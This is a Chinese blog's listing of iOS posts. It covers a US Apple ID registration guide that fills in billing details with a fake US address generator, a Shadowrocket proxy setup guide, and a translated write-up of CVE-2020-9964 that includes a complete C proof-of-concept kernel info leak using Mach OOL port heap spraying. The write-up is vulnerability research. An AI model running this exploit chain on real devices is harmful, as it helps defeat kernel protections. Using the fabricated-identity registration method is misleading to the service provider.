网站首页 包含标签 iOS 的所有文章

  • 苹果ios自签企业签证书

    已经稳定很久,投稿前还自测了状态,自签用途大家可以自己使用,比如苹果APP多开等使用...

    2023-06-26 184
  • 【2023年】五分钟注册美区AppleID,手把手教,稳定且耐用!

    这篇文章教大家注册一个非常稳定的美区 Apple ID。 我通过该方法注册过两个美区账号,还冲了钱,到目前已经使用两年了,没出现任何问题稳的很。 话不多说,教程开始,只要跟着我的步骤走,百分百能成功。 一、准备工作 1.一个能接收短信的国内手机号2.一个全新邮箱(指从没注册过Apple ID的邮箱)3.美国地址生成器(后面我会给大家提供)4.无需任何代理工具 注意以下四点可以避免很多问题: 出生日期:一定要设置成大于 18 周岁的日期,否则会导致部分应用由于年龄限制无法使用。 电子邮件:建议新注册一个全新的从未注册过 Apple ID 的邮箱,比如 163 邮箱。 手机号码:亲测,注册过中国区 Apple ID 的手机号码可以用来注册美区账号,不会产生冲突。 密码:设置密码时,密码中不要包含有名字、生日、邮箱中的信息,否则会卡在验证码那一步。 二、注册教程 为了方便大家注册,该方法全程都在手机中操作,不用借助电脑。 首先进入美国 Apple ID 注册页面,复制下方网址至 Safari 浏览器中打开即可进入。 https://appleid.apple.com/account 具体注册方法如下长图,跟着我的步骤走就行了,一定要严格按照我写的要求操作。 接着需要对电子邮件/手机号码进行验证。把收到的验证码输入进去,依次点击下一步就行了。 注册成功后,账号会自动登录,如果没登录的话重新登录一遍刚注册的账号即可。 接着点击退出登录左边的“箭头”然后点击付款方式,接着再点击添加付款方式。   下一步是填写付款方式&账单地址,这步很关键,需要借助美国地址生成器,它会自动帮你生成街道地址、城市、邮编、电话号码等信息。 生成地址前,建议选以下五个免税州:蒙大拿州(Montana)俄勒冈州(Oregon) 阿拉斯加州(Alaska) 特拉华州(Delaware) 新罕布什尔州(New Hampshire) 三个稳定美国地址生成器(点这里获取)   下图中标注的由美国地址生成器生成的内容,直接复制美国地址生成器中生成的内容即可。 接着勾选拷贝账单寄送地址,最后点击更新就行了。 到这里我们的美区 Apple ID 就注册完成了!下面教大家如何登录。   三、登录美区ID 打开 App Store,首先退出当前账号。点击右上角的头像,然后拉到末尾,点击退出登录即可。 接着再次点击 App Store 中右上角的头像,输入前面注册的美区账号&密码,点击登 然后会跳出一个弹窗,选择检查即可,接着打开同意条款与条件,选择下一页。   不要修改任何内容,直接点击下一页,然后点击继续。     点击Continue,到这里我们的美区 Apple ID 就已经成功登录了。   注册登录成功后,我们就能下载美区中的各种 App 了。 四、一些需要注意的地方 1.设置密码时,密码中不要包含前面填写的名字、生日、邮箱中的任何信息,否则可能会卡在验证码那一步,总之就是密码尽量原创一个。 2.不要在「设置」中登录美区Apple ID,以免造成不必要的麻烦。下载美区 App 只需在 App Store 中登录即可,下载完后再换回国区账号即可,对 iCloud 等不会有任何影响。 3.如果你有在用Apple Music,切换成美区后会导致已下载的歌曲全被清空。 4.建议不要把美区 Apple ID 当成主力账号,需要下美区应用时登录就行了,以免出现啥问题。   五、常见问题汇总 ➊ 手机号码提示错误怎么解决? 答:看看复制的号码是不是开头有数字"1"或者"+1",有的话去掉即可。 ➋ 更新 App 的时候显示账号被锁定,但可以下载未下载过的 App 是什么原因? 答:因为你更新的这个 App 之前是用其他 Apple ID 下载的,所以这个 App 是和你之前下载时的那个 Apple ID 绑定在一起的,所以出现被锁定的提示是原先账号出了问题,和当前账号没关系。解决方法很简单,把 App 卸载重新安装即可。 ➌ 邮编错误怎么办? 答:估计是地址生成器网站数据库中的部分邮编有误,多生成几份地址试试即可。 ➍ Your request could not be completed at this time 怎么办? 答:应该是地址生成器生成的号码有问题,电话是 xxx-xxx-xxx 的正常,而 +1xxx-xxx-xxx 就不行。解决方法就是去掉号码开头的"1"或者"+1"即可。 ➎ Cannot be created at this time 怎么办? 答:切换成 4G、5G、或者换个浏览器、或者用电脑注册,或者次日再试试。 ➏ 注册成功后,如何二次修改美区 Apple ID 的地址、姓名等信息? 答:进入美国苹果官网,拉到底部找到 manage your apple id,登录后即可修改,不懂英文的同学可借助翻译。 如果以上回答仍然无法解决你的问题,那建议用百度、必应、知乎等搜索工具去寻找解决方法。 ————————— 创个美区 Apple ID 还是挺有必要的,可以下到许多国内没有上架的应用,和国区 Apple ID 两者互补,享受最全面的 App 下载体验。...

    2023-01-11 300
  • iOS|小火箭 Shadowrocket

    注意:从2.1.56版本开始,出于安全考虑默认仅允许CA机构颁发的证书。自签的证书要在节点里开启允许不安全或者将证书导入到iOS系统里。 1. 简单介绍一下 Shadowrocket是 iOS 平台上较早出现的支持 55R 协议的客户端,坊间称作“小火箭”。 软件性能较好,稳定性较高,曾一度独领风骚。不过后来又涌现出一大批优秀的代理工具,如 Surge 、 Quantumult 等。 虽然稳定性在客观上略逊于 Quantu mult ,但是界面简单,较为直观,价格较低,上手难度低。适合扶墙新手入门使用。 根据中国大陆政府要求,此软件已被 Apple 从中国大陆区的 App Store 移除,之前在中国大陆商店购买此软件的用户将不能获得更新或重新下载。 2. 获取软件 方法:美区账号 自己注册美区号购买或者找代购美区应用。盗版和多账户下载已被开发者限制,无法使用正常功能。 3. 注意 文档中的某些内容可能随时间变化而失效。 4. 此文档初次整理时的系统环境 iPhone 11 (国行),128G Shadowrocket 2.1.61 (1052) 5. 快速上手 5.1 添加服务器 A. 无订阅链接情况下: 小火箭支持多种方法添加节点。 · 扫码导入 (推荐) 如果你有节点二维码,可以直接点击小火箭左上角的扫码按钮,自动识别并添加。 · 复制节点链接以导入 节点连接通常以 55R:// 之类的字符开头,后面又跟着很多字符。直接复制节点链接,打开小火箭,软件会自动侦测剪贴板内容并识别节点信息,弹窗询问时候保存。点击确认即可。 B. 有订阅链接情况下[推荐]: 打开 Shadowrocket,点击 + 按钮 在新的页面中,选择「类型」为 Subscribe 在 URL 一栏粘贴自己的 订阅链接 ,备注一栏可以随便填写 5.2 启动服务 此时已完成最基本的设置,已经可以开始使用。 点击 「延迟测试」,若干秒之后节点右侧会有数值显示。如下图。 建议选择一个延迟较低的节点后打开右上角的开关进行连接。(但请注意延迟与网速并无关系) 在 Shadowrocket 主页面选择一个接入点,然后点击顶部的开关。 如果是第一次使用,则会提示需要添加 VPN 连接。 点击 Allow 后按系统提示操作,验证密码或 Touch ID。之后会自动返回到 Shadowrocket 界面并启用。 6. 补充配置 · 「全局路由」选项建议设置为 配置 以实现自动分流功能,不影响国内服务的连接。 · 使用第三方分流规则 点击下方的「配置」,再点击右上角 + ,将配置文件地址粘贴进去(大多数情况下软件可以自动识别并填入链接)并点击「下载」。 这里推荐使用此规则: https://raw.githubusercontent.com/solikethis/SS-Rule-Snippet/master/LAZY_RULES/Shadowrocket.conf 【注】配图较早,地址不一样,是正常现象,懒得换图了。 点击下载好的远程文件,选择「使用配置」。 免责声明 !!!本站纯粹的技术性交流!!! !!!请勿违反我国法律法规!!! !!!如有违规还请网警大大高抬贵手联系我删除!!!! ===================================== 科学上网的问题,请大家遵从我国法律,请勿滥用! 请勿转发外网与政治等敏感相关等问题以及讨论与政治等敏感信息! 屏蔽翻/墙是为了保障好的政策环境, 互联网自由开放的程度是必须得把控的,希望你明白,珍惜这眼前的美好。 ====================================== 免责声明:本站所有有关科学上网等均是从互联网上转载,与本站无关。从本站下载的所有相关科学上网软件只供学术搜索、讨论等,下载后请于24小时内删除,一切责任与本站无关!请遵从我国法律! PS:不管怎么样还是祖国好,请一定注意你们的形象!China No.1! ...

    2021-01-07 3162
  • CVE-2020-9964-iOS信息泄漏

    iOS 14现已向公众开放,并附带了iOS 14.0安全内容更新。您将看到的其中一个漏洞是CVE-2020-9964,这是IOSurfaceAccelerator中的一个漏洞,也是我的第一个信息泄漏:) 我(@ Muirey03)和MohamedGhannam(@ _simo36)都被发现了此漏洞。如果我发现有更多知道这一点的人,我将不会感到惊讶。 Apple将此错误的影响描述为“本地用户可能能够读取内核内存”,并在描述中将其称为“内存初始化问题”,那么该错误是什么? IOSurfaceAcceleratorClient :: user_get_histogram IOSurfaceAcceleratorClient是AppleM2ScalerCSCDriver IOService的用户客户端,并且是可以从“应用程序沙箱”中打开的少数几个用户客户端之一。我们对该用户客户端上的一种特定外部方法 (方法9,IOSurfaceAcceleratorClient :: user_get_histogram)感兴趣。IOSurfaceAcceleratorClient使用旧版 IOUserClient :: getTargetAndMethodForIndex 作为其外部方法,这就是方法9的IOExternalMethod描述符的样子: { IOSurfaceAcceleratorClient::user_get_histogram, kIOUCStructIStructO, 0x8, 0x0} 从中我们可以看到user_get_histogram仅占用8个字节的输入数据,并且不返回任何内容作为输出数据,因此让我们看一下实现。这是我注释的伪代码: IOReturn IOSurfaceAcceleratorClient::user_get_histogram(IOSurfaceAcceleratorClient *this, void *input, uint64_t inputSize){ IOReturn result; if (this->calledFromKernel) { ... } else { IOMemoryDescriptor *memDesc = IOMemoryDescriptor::withAddressRange(*(mach_vm_address_t *)input, this->histogramSize, kIODirectionOutIn, this->task); if ( memDesc ) { ret = memDesc->prepare(kIODirectionNone); if (ret) { ... } else { ret = AppleM2ScalerCSCDriver::get_histogram(this->fOwner, this, memDesc); memDesc->complete(kIODirectionNone); } memDesc->release(); } else { ret = kIOReturnNoMemory; } } return ret;} 从中我们可以看到,结构输入的8个字节旨在用作用户空间指针, AppleM2ScalerCSCDriver :: get_histogram` 可对其进行读写。实际上,get_histogram调用到get_histogram_gated,如下所示: IOReturn AppleM2ScalerCSCDriver::get_histogram_gated(AppleM2ScalerCSCDriver *this, IOSurfaceAcceleratorClient *client, IOMemoryDescriptor *memDesc){ IOReturn result; if ( memDesc->writeBytes(0, client->histogramBuffer, client->histogramSize) == client->histogramSize ) result = kIOReturnSuccess; else result = kIOReturnIOError; return result;} 我们看到client-> histogramBuffer被写回到用户空间,所以现在的问题是,client-> histogramBuffer是什么?它在哪里初始化,在哪里填充? IOSurfaceAcceleratorClient::histogramBuffer 这个问题的答案最终是 IOSurfaceAcceleratorClient :: initClient, 它看起来像这样: bool IOSurfaceAcceleratorClient::initClient(IOSurfaceAcceleratorClient *this, AppleM2ScalerCSCDriver *owner, int type, AppleM2ScalerCSCHal *hal){ ... if ( ... ) { ... if ( ... ) { size_t bufferSize = ...; this->histogramSize = bufferSize; this->histogramBuffer = (void *)IOMalloc(bufferSize); IOAsynchronousScheduler *scheduler = IOAsynchronousScheduler::ioAsynchronousScheduler(0); this->scheduler = scheduler; if ( scheduler ) return true; ... } else { ... } } else { ... } this->stopClient(); return false;} 这是可疑的。histogramBuffer已分配但未填充,并且IOMalloc不会将内存归零,从而使histogramBuffer完全未初始化。正是在这一点上,我尝试为我自己调用该方法,但没有人感到惊讶,发现自己在看很多0xdeadbeef,这是未初始化内存的典型标志。 “开发” 我们正在将未初始化的内存泄漏回用户空间,但是我们该怎么办?像这样的信息泄漏自身相对而言是无害的,但是在利用其他内存损坏问题时有时是必不可少的。进行漏洞利用的一个常见要求是找到马赫端口地址,因此这是我进行漏洞利用的目标,但值得一提的是,该漏洞也可以用来击败kASLR。 我为此漏洞利用选择的目标分配是mach消息脱机端口阵列。发送马赫消息时,可以选择将消息标记为“复杂”。这告诉内核,标头后面的不是原始数据,而是一个“主体”,后跟与消息一起发送的描述符。这些描述符之一是mach_msg_ool_ports_descriptor_t,这是 一组插入到接收任务中的离线端口权限。 内核通过创建一个缓冲区来处理这些OOL端口,该缓冲区包含一个在消息发送时指向数组中每个端口的指针,并在收到消息后释放该缓冲区(有关此代码,请参见ipc_kmsg_copyin_ool_ports_descriptor,如果您感兴趣,则为“非常复杂,太长了,无法在此处粘贴)。这对我们来说是完美的!我们可以使用它来触发任何大小的内核分配,其中包含我们要读取的确切数据(马赫端口指针),并且我们可以在任何时候完全确定地释放它。 高级漏洞利用流程 因此,我的漏洞利用计划如下所示: 发送一些消息,其OOL端口数组的大小与client-> histogramSize相同 通过接收消息释放这些阵列 打开一个IOSurfaceAcceleratorClient连接,分配histogramBuffer,它现在应该与这些空闲端口数组之一重叠 调用外部方法9,将端口指针读回到用户空间 利润 在我的设备上,client-> histogramSize为0x300,这意味着我的端口阵列的长度必须为96个端口。我选择发送0x80消息,但这是我凭空提出的一个完全任意的数字,不要过多看它。 漏洞利用 最终的利用如下: #include <stdlib.h>#include <assert.h>#include <stdio.h>#include <mach/mach.h>#include <IOKit/IOKitLib.h>#if 0AppleM2ScalerCSCDriver Infoleak:IOSurfaceAcceleratorClient::user_get_histogram takes a userspace pointer and writes histogram data back to that address.IOSurfaceAcceleratorClient::initClient allocates this histogram buffer, but does not zero the memory.When the external method IOSurfaceAcceleratorClient::user_get_histogram is called, this uninitialised memory is then sent back to userspace.This vulnerability is reachable from within the app sandbox on iOS.Below is a proof-of-concept exploit which utilises this vulnerability to leak the address of any mach port that the calling process holds a send-right to.Other kernel object addresses can be obtained using this vulnerability in similar ways.#endif #define ASSERT_KR(kr) do { \ if (kr != KERN_SUCCESS) { \ fprintf(stderr, "kr: %s (0x%x)\n", mach_error_string(kr), kr); \ exit(EXIT_FAILURE); \ } \} while(0) #define LEAK_SIZE 0x300#define SPRAY_COUNT 0x80 mach_port_t create_port(void){ mach_port_t p = MACH_PORT_NULL; mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &p); mach_port_insert_right(mach_task_self(), p, p, MACH_MSG_TYPE_MAKE_SEND); return p;} io_connect_t open_client(const char* serviceName, uint32_t type){ io_connect_t client = MACH_PORT_NULL; io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching(serviceName)); assert(service != MACH_PORT_NULL); IOServiceOpen(service, mach_task_self(), type, &client); assert(client != MACH_PORT_NULL); IOObjectRelease(service); return client;} void push_to_freelist(mach_port_t port){ uint32_t portCount = LEAK_SIZE / sizeof(void*); struct { mach_msg_header_t header; mach_msg_body_t body; mach_msg_ool_ports_descriptor_t ool_ports; } msg = {{0}}; mach_port_t* ports = (mach_port_t*)malloc(portCount * sizeof(mach_port_t)); for (uint32_t i = 0; i < portCount; i++) ports[i] = port; size_t msgSize = sizeof(msg); msg.header.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_MAKE_SEND, 0, 0, MACH_MSGH_BITS_COMPLEX); msg.header.msgh_size = msgSize; msg.header.msgh_id = 'OOLP'; msg.body.msgh_descriptor_count = 1; msg.ool_ports.type = MACH_MSG_OOL_PORTS_DESCRIPTOR; msg.ool_ports.address = (void*)ports; msg.ool_ports.count = portCount; msg.ool_ports.deallocate = false; msg.ool_ports.copy = MACH_MSG_PHYSICAL_COPY; msg.ool_ports.disposition = MACH_MSG_TYPE_MAKE_SEND; mach_port_t rcvPorts[SPRAY_COUNT]; for (uint32_t i = 0; i < SPRAY_COUNT; i++) { mach_port_t rcvPort = create_port(); rcvPorts[i] = rcvPort;    msg.header.msgh_remote_port = rcvPort; //trigger kernel allocation of port array: kern_return_t kr = mach_msg(&msg.header, MACH_SEND_MSG | MACH_MSG_OPTION_NONE, (mach_msg_size_t)msgSize, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); ASSERT_KR(kr);  } for (uint32_t i = 1; i < SPRAY_COUNT; i++) mach_port_destroy(mach_task_self(), rcvPorts[i]); free((void*)ports);}//The actual vulnerability:void leak_bytes(void* buffer){ io_connect_t client = open_client("AppleM2ScalerCSCDriver", 0); kern_return_t kr = IOConnectCallStructMethod(client, 9, (uint64_t*)&buffer, 8, NULL, NULL); ASSERT_KR(kr); IOServiceClose(client);}uint64_t find_port_addr(mach_port_t port){  uint64_t* leak = (uint64_t*)malloc(LEAK_SIZE); printf("Preparing heap\n");  push_to_freelist(port); printf("Leaking 0x%zx bytes\n", (size_t)LEAK_SIZE);  leak_bytes(leak); uint64_t addr = leak[1]; free(leak); return addr;}int main(int argc, char* argv[], char* envp[]){ mach_port_t port = create_port(); uint64_t port_addr = find_port_addr(port); printf("Leaked port address: %p\n", (void*)port_addr); return 0;} 我发现此漏洞利用程序的成功率接近100%,几乎无法检测到任何故障,从而使漏洞利用程序可以继续运行直到成功为止。 注: 我被告知,此漏洞的可利用性受到iOS 14堆分离的影响。我对iOS 14中所做的更改了解不足以确认这一点,但是在查看将来未初始化的内存泄漏时,绝对需要考虑这一点。 ...

    2020-12-23 847

联系我们

在线咨询:点击这里给我发消息

QQ交流群:KirinBlog

工作日:8:00-23:00,节假日休息

扫码关注